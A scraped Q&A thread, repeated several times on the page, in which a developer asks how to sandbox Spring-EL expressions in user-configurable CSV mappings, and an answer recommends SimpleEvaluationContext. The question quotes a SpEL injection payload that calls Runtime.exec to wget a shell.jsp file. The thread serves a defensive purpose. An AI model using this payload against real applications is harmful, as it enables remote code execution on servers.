Can Spring-EL expressions be executed within a sandbox?











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I am using Spring-EL to create dynamic csv-field to class-field mappings used in different Spring-Batch import jobs. (Different input files, same output classes). This is working very good but the idea is that it must be possible for a user to create such a mapping configuration.



The problem is that the Spring-EL expressions are not executed inside a kind of sandbox and therefor it is very easy to inject evil code. For example:



name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")



My question is, how can I run Spring-EL inside some kind of sandbox or restrict access to only a specific set of methods/classes? I cannot find any thing related to this topic. Are maybe Spring-EL is not the right choice for the job.



Example of what I try to achieve:



name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)









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  • 1




    docs.spring.io/spring/docs/5.1.2.RELEASE/…. See SimpleEvaluationContext
    – Artem Bilan
    Nov 19 at 15:06










  • Thanks! Now using SimpleEvaluationContext.forReadOnlyDataBinding().withInstanceMethods().build();
    – Mark Ebbers
    Nov 19 at 16:01















up vote
0
down vote

favorite












I am using Spring-EL to create dynamic csv-field to class-field mappings used in different Spring-Batch import jobs. (Different input files, same output classes). This is working very good but the idea is that it must be possible for a user to create such a mapping configuration.



The problem is that the Spring-EL expressions are not executed inside a kind of sandbox and therefor it is very easy to inject evil code. For example:



name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")



My question is, how can I run Spring-EL inside some kind of sandbox or restrict access to only a specific set of methods/classes? I cannot find any thing related to this topic. Are maybe Spring-EL is not the right choice for the job.



Example of what I try to achieve:



name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)









share|improve this question




















  • 1




    docs.spring.io/spring/docs/5.1.2.RELEASE/…. See SimpleEvaluationContext
    – Artem Bilan
    Nov 19 at 15:06










  • Thanks! Now using SimpleEvaluationContext.forReadOnlyDataBinding().withInstanceMethods().build();
    – Mark Ebbers
    Nov 19 at 16:01













up vote
0
down vote

favorite









up vote
0
down vote

favorite











I am using Spring-EL to create dynamic csv-field to class-field mappings used in different Spring-Batch import jobs. (Different input files, same output classes). This is working very good but the idea is that it must be possible for a user to create such a mapping configuration.



The problem is that the Spring-EL expressions are not executed inside a kind of sandbox and therefor it is very easy to inject evil code. For example:



name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")



My question is, how can I run Spring-EL inside some kind of sandbox or restrict access to only a specific set of methods/classes? I cannot find any thing related to this topic. Are maybe Spring-EL is not the right choice for the job.



Example of what I try to achieve:



name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)









share|improve this question















I am using Spring-EL to create dynamic csv-field to class-field mappings used in different Spring-Batch import jobs. (Different input files, same output classes). This is working very good but the idea is that it must be possible for a user to create such a mapping configuration.



The problem is that the Spring-EL expressions are not executed inside a kind of sandbox and therefor it is very easy to inject evil code. For example:



name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")



My question is, how can I run Spring-EL inside some kind of sandbox or restrict access to only a specific set of methods/classes? I cannot find any thing related to this topic. Are maybe Spring-EL is not the right choice for the job.



Example of what I try to achieve:



name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)






spring sandbox spring-el






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edited Nov 19 at 15:08

























asked Nov 19 at 15:03









Mark Ebbers

154




154








  • 1




    docs.spring.io/spring/docs/5.1.2.RELEASE/…. See SimpleEvaluationContext
    – Artem Bilan
    Nov 19 at 15:06










  • Thanks! Now using SimpleEvaluationContext.forReadOnlyDataBinding().withInstanceMethods().build();
    – Mark Ebbers
    Nov 19 at 16:01














  • 1




    docs.spring.io/spring/docs/5.1.2.RELEASE/…. See SimpleEvaluationContext
    – Artem Bilan
    Nov 19 at 15:06










  • Thanks! Now using SimpleEvaluationContext.forReadOnlyDataBinding().withInstanceMethods().build();
    – Mark Ebbers
    Nov 19 at 16:01








1




1




docs.spring.io/spring/docs/5.1.2.RELEASE/…. See SimpleEvaluationContext
– Artem Bilan
Nov 19 at 15:06




docs.spring.io/spring/docs/5.1.2.RELEASE/…. See SimpleEvaluationContext
– Artem Bilan
Nov 19 at 15:06












Thanks! Now using SimpleEvaluationContext.forReadOnlyDataBinding().withInstanceMethods().build();
– Mark Ebbers
Nov 19 at 16:01




Thanks! Now using SimpleEvaluationContext.forReadOnlyDataBinding().withInstanceMethods().build();
– Mark Ebbers
Nov 19 at 16:01












1 Answer
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1
down vote



accepted










The SimpleEvaluationContext has been designed to decrease application vulnerabilities.



See https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context for more info:




SimpleEvaluationContext is designed to support only a subset of the SpEL language syntax. It excludes Java type references, constructors, and bean references. It also requires you to explicitly choose the level of support for properties and methods in expressions. By default, the create() static factory method enables only read access to properties.







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    up vote
    1
    down vote



    accepted










    The SimpleEvaluationContext has been designed to decrease application vulnerabilities.



    See https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context for more info:




    SimpleEvaluationContext is designed to support only a subset of the SpEL language syntax. It excludes Java type references, constructors, and bean references. It also requires you to explicitly choose the level of support for properties and methods in expressions. By default, the create() static factory method enables only read access to properties.







    share|improve this answer

























      up vote
      1
      down vote



      accepted










      The SimpleEvaluationContext has been designed to decrease application vulnerabilities.



      See https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context for more info:




      SimpleEvaluationContext is designed to support only a subset of the SpEL language syntax. It excludes Java type references, constructors, and bean references. It also requires you to explicitly choose the level of support for properties and methods in expressions. By default, the create() static factory method enables only read access to properties.







      share|improve this answer























        up vote
        1
        down vote



        accepted







        up vote
        1
        down vote



        accepted






        The SimpleEvaluationContext has been designed to decrease application vulnerabilities.



        See https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context for more info:




        SimpleEvaluationContext is designed to support only a subset of the SpEL language syntax. It excludes Java type references, constructors, and bean references. It also requires you to explicitly choose the level of support for properties and methods in expressions. By default, the create() static factory method enables only read access to properties.







        share|improve this answer












        The SimpleEvaluationContext has been designed to decrease application vulnerabilities.



        See https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context for more info:




        SimpleEvaluationContext is designed to support only a subset of the SpEL language syntax. It excludes Java type references, constructors, and bean references. It also requires you to explicitly choose the level of support for properties and methods in expressions. By default, the create() static factory method enables only read access to properties.








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        answered Nov 19 at 16:04









        Artem Bilan

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